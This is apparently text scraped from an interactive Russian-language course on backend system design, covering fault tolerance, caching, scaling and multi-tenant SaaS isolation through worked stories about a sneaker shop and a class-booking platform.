Устойчивость — это не «чтобы не падало». Падать будет. Устойчивость — это чтобы падало по частям и предсказуемо: сломался один блок, а магазин продолжает продавать. Весь раздел — одна история одной пятницы. Сначала посмотрим, как маленький сбой валит всё. Потом починим её по шагам, по одному приёму за главу.
карта раздела одна пятница, одиннадцать глав
Читайте по порядку: каждая глава опирается на предыдущую. Кнопка переносит к главе.
глава 1 · завязка пятница, 19:40: как магазин лёг из-за блока «вам может понравиться»
Сначала — что мы вообще ищем.
Теперь история. У нас интернет-магазин кроссовок. Страница товара собирается из нескольких кусков. Цена и корзина приходят из своих сервисов. Ещё есть блок «вам может понравиться» — его отдаёт сервис рекомендаций. Это мелочь: без него купить можно.
Пятница, вечер, пик продаж. В 19:40 сервис рекомендаций начал отвечать не за 50 миллисекунд, а за 30 секунд. Через пять минут не работал весь магазин. Никто не мог даже оформить заказ. Пройдите эти пять минут по шагам. Смотрите на схему, на потоки внизу и на часы.
глава 2 · почему почему упало всё, а не только рекомендации
Разберём три слова, на которых держится вся история.
Поток
Рабочий внутри сервиса. Берёт один запрос и ведёт его от начала до конца. Пока ждёт чужого ответа — стоит и ничего другого не делает.
Пул потоков
Все рабочие сервиса. Их число ограничено: у нашего магазина 20. Каждый новый запрос берёт свободного рабочего из пула. Свободных нет — запрос встаёт в очередь.
Каскадный отказ
Сбой, который перетекает по цепочке: сломался один сервис, и из-за него падают те, кто его вызывает. А потом — те, кто вызывает их.
Сколько потоков нужно? Посчитайте сами
Есть простое правило. Оно называется закон Литтла: занято потоков = запросов в секунду × время одного запроса. 40 покупателей в секунду по 0,07 секунды — это около трёх занятых потоков. А если запрос длится 30 секунд?
То же самое — на секвенсе
Секвенс — схема «кто кому что отправил и когда». Время идёт сверху вниз. Пройдите по стрелкам.
глава 3 · пульт магазин, который можно ломать
Это живая модель нашего магазина. 15 покупателей в секунду открывают карточку товара, ещё 5 оформляют заказ. У магазина 20 потоков. Нажмите «▶ Запустить», потом «💥 Сломать рекомендации». Посмотрите, как за несколько секунд кончатся потоки и упадут заказы.
Потом включайте защиту переключателями. Каждый переключатель — одна из следующих глав. Под метриками пульт объясняет, почему картина стала такой. Время в модели идёт в 5 раз быстрее настоящего.
глава 4 · таймаут первое лекарство: не ждать вечно
В нашей пятнице именно этого не было. Запрос к рекомендациям мог висеть 30 секунд, и поток магазина всё это время стоял. Вызов без таймаута — это обещание ждать вечно. А у многих библиотек по умолчанию таймаута нет или он огромный.
Какое число поставить? Подберите сами
Обычно рекомендации отвечают так: половина запросов — за 40 мс, 99 из 100 — быстрее 200 мс. Это «99-й перцентиль», коротко p99. Двигайте таймаут и следите за двумя вещами: сколько здоровых ответов мы оборвём зря и сколько потоков займёт сбой.
Правило 1: от p99, а не «на глаз»
Берите время, в которое сосед укладывается в 99 случаях из 100, и добавьте запас. Таймаут в 30 секунд не отсекает ничего — он только даёт очереди вырасти.
Правило 2: поток за время таймаута
Проверьте по закону Литтла: запросов/с × таймаут должно быть заметно меньше числа потоков. 40 × 0,3 с = 12 из 20 — терпимо. 40 × 0,5 с = 20 из 20 — пул снова кончится.
Бюджет на цепочку
Если у покупателя 2 секунды, а в цепочке четыре звена, каждое не может ждать 2 секунды. Бюджет делится и передаётся дальше (в gRPC это называется deadline). Звено знает, сколько времени осталось, и не начинает работу, которую заведомо не успеет.
Вложенность
Внешний таймаут должен быть больше суммы внутренних. Иначе внешний оборвёт запрос, который вот-вот успешно закончился бы, и работа пропадёт зря.
глава 5 · повторы «попробую ещё раз» — и как это добивает лежачего
После таймаута рука тянется добавить повторы: «не ответили — спросим ещё». Иногда это правильно. Вот удачный случай:
А теперь наша пятница. Рекомендации лежат не случайно — они перегружены. Каждый повтор — это ещё один запрос к тому, кто и так не справляется. Три повтора на каждый запрос — втрое больше нагрузки. Такую лавину повторов называют штормом повторов (retry storm).
Шторм повторов: посчитайте, во сколько раз вырастет нагрузка
Хуже всего, когда повторяет каждое звено цепочки. Магазин повторяет рекомендациям, рекомендации повторяют своей базе, и так далее. Повторы перемножаются.
Как повторять правильно: растущая пауза
Вот 60 покупателей, которые получили ошибку в одну и ту же секунду. У каждого 3 повтора. Сервис успевает обработать 10 запросов за четверть секунды (зелёная линия). Всё, что выше линии, — отказ. Переключайте режим и смотрите, сколько покупателей в итоге дозвонятся.
глава 6 · размыкатель перестать звонить туда, где не ответят
Таймаут ограничивает одно ожидание. Но при 40 запросах в секунду это всё равно 40 бесполезных походов по сети и 12 занятых потоков. Размыкатель убирает и их: пока сосед лежит, к нему просто не ходят. Отказ приходит за доли миллисекунды.
У размыкателя три состояния. Замкнут — запросы идут, как обычно. Разомкнут — запросы отклоняются сразу. Полуразомкнут — пропускаем несколько пробных запросов, чтобы понять, ожил ли сосед.
Полный цикл на секвенсе
глава 7 · переборки не дать одной пробоине потопить корабль
В пятницу рекомендации заняли все потоки, потому что пул был общий. Посмотрите, как заполняется пул, секунда за секундой.
На секвенсе
Разделять можно не только потоки: пулы соединений к базе (чтобы отчёты не съели все соединения у продаж), отдельные экземпляры для важного и неважного трафика, отдельные очереди для быстрых и долгих задач.
глава 8 · лимиты ограничение частоты: самозащита того, кого вызывают
429 Too Many Requests, а не встают в бесконечную очередь.Все прошлые главы — защита вызывающего: магазин бережёт свои потоки. А рекомендации могли защитить себя. Они выдерживают 100 запросов в секунду. Когда пошёл шторм повторов, им прилетело 120 — и они захлебнулись целиком, отвечая по 30 секунд всем. С лимитом они честно обслужили бы 100, а 20 сразу отказали бы. Быстрый отказ части лучше медленного отказа всем.
Турникет можно устроить по-разному. Нажмите на строку, чтобы раскрыть подробности.
Ведро токенов вживую
Самый популярный турникет. В ведро с постоянной скоростью капают токены — жетоны на один запрос. Запрос забирает жетон. Жетонов нет — отказ. Ёмкость ведра — сколько жетонов может скопиться за тихое время: это разрешённый всплеск.
429 и заголовок Retry-After: 2 — «вернись через 2 секунды». Без заголовка клиент будет долбиться в цикле и сделает только хуже. Это и есть обратное давление (backpressure): получатель говорит отправителю «притормози».глава 9 · деградация что отключать первым
Помните пульт в главе 4? Таймаут спас заказы, но страницы товаров падали с ошибкой 500. Потому что код страницы был написан так: «нет рекомендаций — исключение — ошибка». Хотя цена и корзина были! Деградация — это решение, принятое заранее: «без рекомендаций показываем блок „Популярное“ из кеша».
Самый дешёвый способ поднять доступность — не «сделать всё надёжным», а заранее решить, без чего можно жить. Разложите функции магазина по уровням важности.
Разложено 0 из 0.
глава 10 · развязка та же пятница, 19:40 — но с защитой
Перемотаем назад. Та же база рекомендаций, тот же сбой, те же 30 секунд. Но теперь у магазина таймаут, один повтор с разбросом, размыкатель, переборка и запасной ответ. Пройдите по шагам и сравните с главой 1.
Как приёмы работают вместе — на секвенсе
| Приём | От чего защищает | Без него в пятницу |
|---|---|---|
| Таймаут | Бесконечное ожидание | Потоки висят 30 с, пул кончается за полсекунды |
| Повтор + пауза + разброс | Случайные разовые сбои | Моргнула сеть — покупатель видит ошибку |
| Размыкатель | Походы к тому, кто лежит | 40 бесполезных запросов в секунду добивают рекомендации |
| Переборка | Захват всех ресурсов одной зависимостью | Зависшие рекомендации отнимают потоки у заказов |
| Ограничение частоты | Перегрузку сверх возможностей | Шторм повторов топит рекомендации целиком |
| Деградация | Отказ всей страницы из-за одного блока | Цена и корзина есть, а страница — ошибка 500 |
Ещё приёмы — одной строкой
Нажмите на пункт, чтобы раскрыть.
глава 11 · проверь себя вопросы по пятнице
Решено 0 из 0.
Общие вопросы по устойчивости
Решено 0 из 0.
Этот раздел — одна история. В интернет-магазине карточка кроссовок открывается почти секунду. Мы разберёмся почему, придумаем, как это исправить, и по дороге узнаем всё про кеш: что это, как он работает, где его ставят и как он ломается. Главная мысль, которую стоит унести: кеш — это обмен. Отдаём свежесть, получаем скорость. Идите по главам по порядку, каждая опирается на предыдущую.
карта раздела куда мы идём
глава 1 · проблема карточка товара открывается 800 мс
Интернет-магазин кроссовок. Пользователь нажимает на товар, и страница думает почти секунду. Почему так долго? Потому что карточка — это не одна строчка в базе. Каждый раз сервис собирает её заново из пяти кусков:
Самое обидное: для всех покупателей карточка одинаковая. Цена меняется раз в день, отзывы — раз в час. А база тысячу раз в минуту делает одну и ту же работу. Откройте карточку несколько раз и посмотрите, сколько работы делает база.
глава 2 · определение что такое кеш
Идея из первой главы простая: один раз посчитали — запомнили — дальше отдаём запомненное. У этой идеи есть имя.
Несколько слов, которые понадобятся дальше:
- Источник правды — место, где данные хранятся по-настоящему. Обычно база данных. Если кеш и база расходятся, права база.
- Ключ — имя, под которым ответ лежит в кеше. Например,
product:42— «карточка товара 42». - Значение — сам запомненный ответ: готовая карточка.
- Попадание — нужный ответ в кеше нашёлся. Промах — не нашёлся, придётся идти в источник.
Житейская картина на весь раздел: библиотекарь
Представьте библиотекаря за стойкой. Настоящее хранилище книг — в подвале, туда идти десять минут. Но у стойки стоит маленький стол, и на нём лежат книги, которые спрашивают чаще всего. Попросили «Гарри Поттера» — библиотекарь просто протянул руку. Это и есть кеш. Дальше каждое понятие раздела будет иметь своё место в этой библиотеке:
| В библиотеке | В системе | Где разбираем |
|---|---|---|
| Хранилище в подвале, 10 минут ходьбы | База данных — источник правды | глава 1 |
| Стол у стойки с популярными книгами | Кеш | глава 2 |
| Название книги | Ключ | глава 3 |
| Книга на столе есть / её нет | Попадание / промах | глава 4 |
| Стол маленький, новую книгу некуда положить — какую-то уносим обратно | Вытеснение (например, LRU) | глава 4 |
| Газету на столе меняют каждое утро | TTL — срок жизни записи | глава 5 |
| Вышло новое издание, а на столе лежит старое | Инвалидация — сброс устаревшего | глава 8 |
| Открытие библиотеки: все пришли за одной новинкой, а на столе её нет, и все бегут в подвал | Лавина (cache stampede) | глава 9 |
Зачем он нужен — коротко
глава 3 · сквозной пример Анна и Борис открывают одни кроссовки
Посмотрим на кеш изнутри на одном живом примере. Утро, сервис каталога только что перезапустили, кеш пустой. Сначала карточку кроссовок откроет Анна из Москвы, через 10 секунд — Борис из Казани. Жмите «Дальше» и следите за схемой: подсвечивается то, что работает прямо сейчас, а часы считают миллисекунды каждого покупателя.
глава 4 · попадание и промах доля попаданий решает всё
Анна промахнулась, Борис попал. В живой системе таких Анн и Борисов тысячи в секунду, и важно, какая часть из них попадает. Это число называют долей попаданий (hit ratio):
Подвигайте ползунок. Обратите внимание на странную вещь: разница между 90 % и 99 % выглядит маленькой, но для базы это разница в десять раз.
Стол библиотекаря: места мало
Память кеша не бесконечна, как и стол у стойки. Когда стол заполнен, а читатель просит новую книгу, какую-то книгу со стола придётся унести обратно в подвал. Это называется вытеснение. Какую именно уносить, решает политика вытеснения:
- LRU (least recently used, «дольше всех не брали») — уносим ту, которую дольше всех не спрашивали. Самая распространённая.
- FIFO (first in, first out, «первым пришёл — первым ушёл») — уносим ту, что лежит на столе дольше всех, даже если её только что брали.
- LFU (least frequently used, «реже всех брали») — уносим ту, которую спрашивали реже всего.
Попросите книги от имени читателей. Попадание стоит полминуты, промах — десять минут похода в подвал. Книга с красной пунктирной рамкой уйдёт следующей.
глава 5 · срок годности TTL: молоко в холодильнике
Вернёмся к Борису. Он получил карточку из кеша за 41 мс. А что, если за эти 10 секунд маркетолог снизил цену? Борис увидит старую цену. Кеш не знает, что в базе что-то поменялось: он хранит копию.
Первая защита — срок жизни. TTL (time to live, «время жизни») — сколько секунд запись живёт в кеше. Когда срок истёк, кеш запись выбрасывает, и следующий запрос идёт в базу за свежими данными. Это как молоко в холодильнике: пока срок не вышел — пьём, вышел — выливаем и идём в магазин.
Короткий TTL — секунды
Данные почти свежие. Но записи часто выбрасываются, промахов больше, база работает больше. Молоко покупаем каждый день.
Длинный TTL — часы
Почти все запросы попадают, база отдыхает. Но устаревшие данные показываются долго. Молоко стоит неделю и начинает киснуть.
Сколько несвежести допустимо — решает не программист, а цена ошибки для бизнеса:
| Данные | Что будет, если показать старое | Разумный TTL |
|---|---|---|
| Описание и фото товара | ничего страшного | часы |
| Отзывы и рейтинг | новый отзыв появится чуть позже | минуты |
| Цена | покупатель увидит одну цену, а в корзине другую | секунды + сброс по событию |
| Остаток на складе | продадим то, чего нет | секунды или без кеша |
| Баланс счёта перед списанием | спишем деньги, которых нет | не кешировать |
Попробуйте сами: цена устарела
Слева база, справа кеш. Двигайте время, меняйте цену и открывайте карточку. Сначала в режиме «только TTL» — увидите, как покупатели получают старую цену. Потом включите «сброс по событию»: при изменении цены сервис сам удаляет запись из кеша.
🗄 База — источник правды
⚡ Кеш — копия
глава 6 · где кешировать восемь мест, от браузера до диска
В главе 3 кеш стоял рядом с сервисом. Но запрос Анны по дороге проходит через восемь мест, где его можно перехватить. Чем ближе к пользователю, тем дешевле: запрос просто не доходит до системы. И тем труднее сбросить: чужим браузером вы не управляете.
Нажмите на слой: где он стоит, что в нём держат, сколько экономит, как сбрасывается и чем опасен.
Те же слои одной таблицей
| Слой | Что кешируем | Выигрыш | Как сбросить |
|---|---|---|---|
| Браузер | статика, редкие справочники | запрос не уходит вовсе | почти никак — только версия в имени файла |
| CDN | картинки, статика, публичные страницы | не доходит до дата-центра | принудительный сброс по ключу, обычно минуты |
| API Gateway | публичные ответы GET | не доходит до сервисов | TTL, реже — сброс по событию |
| Распределённый (Redis) | сессии, агрегаты, горячие сущности | общий для всех узлов | точная: удалить ключ по событию |
| Локальный в процессе | справочники, конфигурация | наносекунды, ноль сети | трудно: у каждого узла своя копия |
| Материализованное представление в БД | тяжёлые агрегаты | снимает нагрузку с расчёта | по расписанию или по триггеру |
| Буферный кеш СУБД | страницы данных | прозрачный, всегда включён | управляется базой |
глава 7 · стратегии кто ходит в базу и что происходит при записи
В главе 3 сервис сам спрашивал кеш, сам ходил в базу и сам клал результат. Это одна из пяти стратегий. Стратегия кеширования — это ответ на два вопроса: кто идёт в базу при промахе и что происходит с кешем при записи.
Ниже — живая модель. Выберите стратегию и операцию и жмите «Дальше» (или стрелки ← → на клавиатуре, когда схема в фокусе). По стрелкам летит «пакет» с запросом, в узлах видно, что лежит в кеше и в базе и о чём узел «думает». Внизу та же история в виде диаграммы последовательности: нажмите на любую её стрелку, чтобы перейти к этому шагу. Потом попробуйте всё сломать.
Сравните две стратегии на одной операции
Одна и та же история, две стратегии рядом. Кто когда получил ответ, когда данные реально легли в базу и когда Анна увидела новую цену. Шкала времени логарифмическая: миллисекунды и минуты помещаются на одну полосу.
Все пять одной таблицей
Нажмите на строку — будет подробнее.
Каждая стратегия в коде
Выберите стратегию: схема чтения и записи в тексте, код на Java и то, что случится, когда откажет кеш или база.
Разложите по стратегиям
Для каждой задачи выберите подходящую стратегию. Решено 0 из 0.
глава 8 · инвалидация «самая трудная задача в программировании»
Есть старая шутка программиста Фила Карлтона: «В информатике две трудные вещи — инвалидация кеша и придумывание имён». Инвалидация — это сброс записи в кеше, когда данные в источнике поменялись. В библиотеке: вышло новое издание, и старое надо убрать со стола. Звучит просто. Трудность в том, что про стол должен помнить каждый, кто меняет книги в подвале. А кто-нибудь обязательно забудет.
Четыре способа и их цена
TTL
Запись живёт N секунд. Просто и надёжно, но данные устаревают на время TTL, а истечение у всех сразу даёт лавину. Всегда добавляйте разброс.
Удаление по событию
Изменили товар — удалили ключ. Точно и свежо. Требует, чтобы про кеш знали все, кто меняет данные, — а кто-нибудь обязательно не узнает.
Версия в ключе
product:42:v7. Удалять ничего не надо: новая версия — новый ключ, старый вытеснится сам. Отлично работает, но требует хранить версию.
Теги / группы
Сбросить всё по категории одним действием. Удобно, но опасно: сброс тега «каталог» разом обнуляет тысячи ключей и роняет базу.
Почему даже «удалить ключ» можно сделать неправильно
Разберём гонку: два запроса одновременно, и порядок операций решает всё. Код меняет цену так: сначала удаляет ключ из кеша, потом пишет в базу. Кажется, всё честно.
глава 9 · беды · лавина открытие библиотеки: все за одной книгой
9:00, библиотека открывается. Сорок читателей пришли за вчерашней новинкой. На столе её нет: вечером стол убрали (так бывает после перезапуска кеша или когда у записи истёк TTL). Библиотекарей много, и каждый, услышав «нет на столе», бежит в подвал. Сорок человек в узком проходе подвала, очередь, кто-то не дождался и ушёл. Это лавина (cache stampede): много одновременных промахов по одному ключу, и все они разом бьют в базу.
Защита простая: замок (его ещё называют single-flight, «один полёт»). Первый библиотекарь вешает табличку «я уже пошёл за новинкой», остальные ждут его у стойки. В подвал идёт один человек. Сравните. База здесь выдерживает 6 запросов одновременно, каждый длится 200 мс, а читатель ждёт не больше 700 мс.
Лавина по расписанию: все записи истекают разом
Вторая разновидность лавины. Утром кеш прогрели: положили 40 популярных карточек одновременно, у всех TTL 60 секунд. Значит, через минуту все 40 истекут в одну секунду. И ещё через минуту. И ещё. Пила. Лекарство — случайный разброс TTL (jitter): каждой записи срок чуть разный, например от 48 до 72 секунд. Истечения размазываются по времени.
три минуты; каждый столбик — 2 секунды; высота — сколько записей истекло и ушло в базу
глава 9 · всё вместе минута трафика: попадания, промахи и лавина
Соберём всё в один симулятор. 60 секунд, ключи запрашиваются неравномерно: есть горячие, как в жизни. Двигайте ползунки и включайте защиты. Смотрите на нагрузку, которая доходит до базы, — и особенно на пик.
каждый столбик — одна секунда; высота — число запросов, дошедших до базы
глава 9 · остальные беды как кеш делает хуже, чем было
Лавина — не единственная беда. Вот полный список того, что ломается на практике. Нажмите на пункт, чтобы раскрыть: что происходит, как это выглядит в библиотеке и как лечить.
глава 10 · проверьте себя по всей истории
Решено 0 из 0.
задание кеширование в проде
Решено 0 из 0.
Масштабирование — это умение обслужить в десять и в сто раз больше людей, не переписывая систему с нуля. Здесь мы проследим одну историю: интернет-магазин растёт от 100 до 1 000 000 покупателей. На каждом этапе что-то упирается, и мы разберём, что именно, почему и что с этим делают. Главный вывод сразу: код размножить легко. Трудности начинаются с состоянием, то есть с данными, которые надо где-то помнить.
карта раздела одна история в одиннадцати главах
Читать лучше по порядку: каждая глава опирается на предыдущую. Но можно и прыгнуть сразу к нужной.
глава 1 · что это что такое масштабирование и зачем оно
Масштабирование — это способность системы выдерживать больше нагрузки, когда мы добавляем ей ресурсы: процессоры, память, серверы. Хорошо масштабируемая система растёт «докупкой железа». Плохо масштабируемая — только переписыванием.
Нагрузка — это сколько работы на систему сваливается. Её меряют тремя числами: сколько запросов приходит в секунду, сколько данных надо хранить и сколько людей сидит одновременно.
Словарик: пять слов, без которых дальше никак
RPS
Requests per second, запросов в секунду. Главная мера нагрузки. Обычный день магазина — 400 RPS, чёрная пятница — 12 000.
Узел
Один сервер или одна запущенная копия программы. «Три узла» — три одинаковые копии, работающие рядом.
Узкое место
Часть системы, которая сдаётся первой. Как узкое горлышко бутылки: сколько ни наклоняй, быстрее не польётся.
Задержка
Сколько человек ждёт ответа, в миллисекундах (мс). 100 мс ощущаются как «мгновенно», 1 000 мс — как «подвисло».
Пропускная способность
Сколько запросов система успевает обработать за секунду. Если приходит больше, чем она успевает, растёт очередь, а за ней и задержка.
Состояние
Всё, что программа помнит между запросами: корзина, вход в систему, счётчики. Именно из-за него масштабирование трудное.
Зачем это вообще нужно
глава 2 · сквозной пример Анна в чёрную пятницу нажимает «Купить»
Сначала посмотрим на готовую большую систему целиком: какой путь проходит одно нажатие кнопки. Сейчас 10:00, стартовала распродажа. Анна из Екатеринбурга хочет кроссовки, и вместе с ней на кнопку жмут ещё 12 000 человек в секунду.
Нажимайте «Дальше». На схеме подсвечивается, кто сейчас работает. Под схемой — что именно происходит, какие данные летят и что было бы без этой детали. Термины пока не страшны: каждый объясняется на месте, а подробно — в следующих главах.
глава 3 · история роста как магазин дорос до такой схемы
Такую систему никто не строит в первый день. Она вырастает по шагам, и каждый шаг — ответ на конкретную боль. Пройдите шесть этапов жизни магазина. Слева кафе, справа программа: беда и лекарство у них одинаковые.
глава 4 · симулятор крутите нагрузку — смотрите, что упрётся первым
Теперь сами. Увеличивайте число покупателей и смотрите на полоски: каждая показывает, насколько загружена часть системы. Вертикальная черта — 100 %. Что перевалило за неё, то и есть узкое место. Лечите его кнопками ниже и крутите дальше.
Цель: 1 000 000 покупателей в чёрную пятницу, ни одна полоска не за чертой, корзины не пропадают. И постарайтесь не переплатить.
Чем лечим
глава 5 · вверх или вширь мощнее сервер или больше серверов
Когда что-то упёрлось, путей два. Вертикальное масштабирование («вверх») — заменить сервер на более мощный: больше ядер, памяти, быстрее диск. Горизонтальное масштабирование («вширь») — поставить рядом ещё несколько таких же серверов и делить работу между ними.
Вертикально — больше железа
За: ничего не надо менять в коде, нет распределённых проблем, транзакции остаются настоящими. Современный сервер тянет очень много — большинство систем никогда не перерастают один узел.
Против: есть потолок, цена растёт нелинейно (топовое железо стоит непропорционально), и это по-прежнему один узел — то есть одна точка отказа и простой на время перезагрузки.
Горизонтально — больше узлов
За: потолка практически нет, обычное дешёвое железо, отказ одного узла не фатален, можно наращивать и убирать по нагрузке.
Против: требует отсутствия состояния в узле, приносит сеть со всеми её бедами, а для данных — репликацию и шардирование с их компромиссами.
Сравнение по пунктам
Нажмите на строку — раскроется объяснение.
Проверьте себя: шесть реальных случаев
Правильного ответа «всегда вширь» не существует: вертикальное масштабирование проще, дешевле в обслуживании и часто его достаточно. Нажмите на случай — что делать и почему.
глава 6 · состояние почему вторая копия теряет корзину
Горизонтальное масштабирование работает, только если копии взаимозаменяемы: любой запрос может попасть в любую копию, и результат тот же. Для этого копия не должна ничего помнить между запросами. Такой сервис называют stateless («без состояния»). Если помнит — stateful («с состоянием»).
Попробуйте сами: три узла и корзина Анны
Балансировщик отправляет каждый запрос Анны на следующий узел по кругу. Добавьте пару товаров, откройте корзину, уроните узел. Потом переключите, где живёт корзина, и повторите. Липкие сессии — это когда балансировщик запоминает, что Анна «живёт» на узле 1, и всегда шлёт её туда.
Где ещё прячется состояние
«Наш сервис stateless» — обычно неправда. Состояние прячется в неочевидных местах, и обнаруживается это при попытке добавить второй узел. Нажмите на пункт — раскроется, чем он опасен и куда его девать.
глава 7 · реплики копии одних и тех же данных
Приложение мы размножили. Но все копии ходят в одну базу, и теперь упирается она. В магазине чтений в 10–20 раз больше, чем записей: товар смотрят сто раз, покупают один. Значит, первым делом разгружаем чтение.
Репликация — это когда у базы есть несколько полных копий. Реплика — одна такая копия. Обычно одна копия главная, её называют лидером: только она принимает запись и рассылает изменения остальным. Читать можно с любой.
| Схема | Как работает | Плюсы | Минусы |
|---|---|---|---|
| Один лидер leader–follower |
Запись только в лидера, он передаёт изменения репликам; чтение — с любой | Просто, нет конфликтов записи, чтение масштабируется | Запись не масштабируется; реплики отстают; при падении лидера нужны выборы |
| Несколько лидеров multi-leader |
Запись в несколько узлов, они синхронизируются между собой | Запись в разных регионах локальна и быстра; переживает разрыв между регионами | Конфликты записи неизбежны, и их разрешение — доменное решение, а не техническое |
| Без лидера leaderless |
Клиент пишет и читает сразу с нескольких узлов, решает по кворуму (Dynamo, Cassandra) | Нет единой точки отказа, высокая доступность, настраиваемый компромисс | Требуется кворум и разрешение расхождений; сложнее рассуждать о поведении |
Синхронная или асинхронная
Это вопрос о том, когда лидер говорит клиенту «записано»: до того, как копии получили изменение, или после.
- Синхронная: лидер подтверждает запись только после того, как её приняла реплика. Данные не теряются при падении лидера, но каждая запись оплачивается сетевым обменом, а недоступность реплики блокирует запись.
- Асинхронная: лидер подтверждает сразу. Быстро, но при его падении последние записи теряются безвозвратно.
- Полусинхронная (обычный выбор): ждём подтверждения хотя бы от одной реплики из нескольких. Компромисс, который берут по умолчанию.
Три схемы на одном примере
Один и тот же случай во всех трёх схемах: два человека одновременно покупают последнюю пару 42-го размера, один в Москве, другой во Владивостоке. Переключайте схему и проходите по шагам.
глава 8 · кеш и CDN не спрашивать базу лишний раз
Реплика разгружает базу, но запрос всё равно доходит до какой-то базы. Ещё дешевле — не доходить вовсе. Для этого есть два приёма.
Кеш — это копия частых ответов в быстрой памяти рядом с приложением (обычно Redis). Цена кроссовок не меняется каждую секунду, так что её можно спросить у базы один раз и потом минуту отдавать из памяти. CDN (Content Delivery Network, сеть доставки контента) — это много серверов в разных городах, на которых лежат копии картинок, скриптов и видео. Файл отдаёт ближайший к человеку сервер, а до вашего дело не доходит.
Кеш, реплика, CDN: в чём разница
Все три — «копии», но копируют разное и живут в разных местах. Нажмите на строку, чтобы раскрыть.
глава 9 · очереди как пережить пик, не покупая сервер под него
Чёрная пятница — это пик: 10 секунд по 12 000 заказов, потом снова 800. Держать серверы под пик круглый год дорого. Выход — не делать всё сразу. Очередь — это хранилище записок «надо сделать»: приложение кладёт записку и сразу отвечает пользователю, а отдельные программы-исполнители, воркеры, разбирают записки в своём темпе.
Попробуйте: 60 секунд распродажи
Первые 10 секунд приходит по 12 000 заказов в секунду, дальше — по 800. Крутите, сколько записок в секунду успевают разобрать воркеры, и сравните работу с очередью и без неё.
глава 10 · шардирование когда упёрлись в запись
Реплики, кеш и очереди разгрузили чтение и сгладили пики. Но запись по-прежнему принимает один лидер. Когда и самый мощный сервер не успевает записывать заказы, остаётся последний шаг. Шардирование — это разрезать данные на части и положить каждую на свой сервер. Одна такая часть называется шард. У каждого шарда свой лидер, и запись делится между ними.
Симулятор: цена добавления шарда
Как решить, в какой шард класть запись? Для этого есть правило распределения. Здесь 10 000 ключей распределены по шардам. Добавьте шард и посмотрите, сколько ключей придётся физически перевезти. Разница между способами — это разница между «переезд за ночь» и «переезд за квартал».
Как выбрать ключ шардирования
Ключ шардирования — это поле записи, по которому решаем, в какой шард её класть. У Анны это был её идентификатор клиента. Самое необратимое решение во всей теме: ключ определяет, какие запросы будут быстрыми, а какие станут невозможными.
Хороший ключ
- Равномерно распределяет — нет шарда, куда попадает четверть данных.
- Совпадает с границей запросов — типичный запрос обслуживается одним шардом.
- Совпадает с границей транзакций — то, что меняется вместе, лежит вместе.
- Стабилен — не меняется у существующей записи (иначе это переезд между шардами).
Плохой ключ
- Дата или автоинкремент — вся сегодняшняя запись идёт в один шард, остальные простаивают.
- Поле с перекосом — «страна», где 80 % записей одной страны.
- Не тот, по которому ищут — каждый запрос идёт во все шарды и собирается на клиенте.
- Изменяемый — смена значения означает физический перенос записи.
Партиционирование, шардирование, репликация
Три слова, которые постоянно путают. Партиционирование — самое скромное из них: таблица режется на части, но остаётся в одной базе.
Партиционирование
Разрезание таблицы на части внутри одной базы: по дате, по диапазону, по списку. Запросы ходят только в нужные части, старые куски легко удаляются целиком. Не увеличивает мощность, но сильно ускоряет и упрощает обслуживание.
В кафе: журнал заказов разбит на тетради по месяцам. Кафе одно.
Шардирование
Те же части, но на разных серверах. Увеличивает и объём, и пропускную способность записи. Приносит все проблемы распределённости: нет общих транзакций, нет общих JOIN, нет глобальной уникальности.
В кафе: филиалы, у каждого свои гости и свой журнал.
Репликация
Копии одних и тех же данных. Масштабирует чтение и даёт отказоустойчивость, но не помогает с объёмом и записью: каждая реплика хранит всё.
В кафе: ксерокопии меню у каждого официанта.
глава 11 · итог лестница масштабирования и проверка
Соберём всю историю в одну лестницу. Поднимайтесь по ней снизу вверх и не перепрыгивайте ступени: каждая следующая дороже и труднее отменяется.
Задание: что упёрлось → что поможет
Для каждой ситуации выберите самое дешёвое лекарство, которое её решает. Решено 0 из 0.
Задание: масштабирование
Решено 0 из 0.
Мультиарендность — это когда одна программа обслуживает сразу много компаний, а каждая видит только своё, как будто программа написана для неё одной. Так устроены почти все облачные сервисы по подписке (SaaS). Разбираем на платформе записи на занятия «Слот», которой пользуются сети фитнес-клубов и студий: как разделить клиентов — всем общее, своя база или отдельная установка, откуда сервис узнаёт, чей это запрос, что делать с шумным соседом и где данные клиентов перемешиваются чаще всего.
зачем это зачем делить одну систему между многими клиентами
карта раздела одна платформа, четыре клиента, семь глав
В главах 3–6 есть задания: каждое засчитывается отдельно. У части есть лестница подсказок — открывайте по одной, если застряли.
глава 1 · завязка бизнес-центр: арендатор — это не пользователь
Сначала без терминов. Бизнес-центр: одно здание, общий лифт, охрана и котельная — поэтому аренда дешевле своего особняка. Но у каждой компании свой ключ, своя табличка на двери и свой счётчик электричества. Сотрудники компании ходят по своему офису, а в чужой не попадают, даже если очень захотят.
История
глава 2 · модели изоляции всё общее, своя схема, отдельная установка — и ячейки
🏢 Пул: всё общее, у строки метка
Open space в бизнес-центре: все сидят за общими столами, у каждого бейдж своей компании. Одна база, одни таблицы, в каждой строке tenant_id. Самое дешёвое и самое быстрое подключение — но одна забытая метка, и данные перемешались.
🚪 Своя схема (или база)
Свой кабинет на общем этаже: стены свои, лифт и охрана общие. Код и серверы приложений общие, а у клиента своя схема в общей базе или своя база на общем сервере. Данные разделены по-настоящему, но миграции катятся на каждую схему отдельно.
🏠 Отдельная установка
Свой особняк: отдельные серверы, база, ключи шифрования, своё окно обновлений. Изоляция полная, но каждая установка — отдельная выкатка, отдельный мониторинг и отдельный счёт.
🐝 Ячейки
Несколько одинаковых бизнес-центров: клиенты закреплены за зданием, внутри здания — пул. Авария задевает одну ячейку, выкатка идёт по ячейкам. Крупному клиенту можно дать свою ячейку — изоляция как у особняка, а обслуживание общим конвейером.
Сравнение: что получаем и чем платим
| Пул | Своя схема | Своя ячейка | Отдельная установка | |
|---|---|---|---|---|
| Цена для платформы, ₽ в месяц на клиента | ≈ 300 | ≈ 2 500 | ≈ 45 000 | ≈ 180 000 |
| Подключение нового клиента | секунды: запись в таблице | минуты: создать схему | часы: развернуть ячейку | дни и недели |
| «Наши данные — отдельно» | нет, только метка | да: копия, выгрузка, удаление целиком | да | да, со своими ключами |
| Шумный сосед | есть | есть: серверы и сервер базы общие | нет | нет |
| Обновления | одна выкатка на всех | одна выкатка, миграция × число схем | тем же конвейером, по ячейкам | отдельно, в своё окно |
| Цена ошибки «забыли фильтр» | утечка всем | не страшно: запрос живёт в своей схеме | внутри ячейки | не страшно |
Интерактив: радиус аварии
24 клиента «Слота» в четырёх моделях. Выберите модель и устройте аварию — увидите, кого она задела. Обведённая плитка — тот, с кого всё началось.
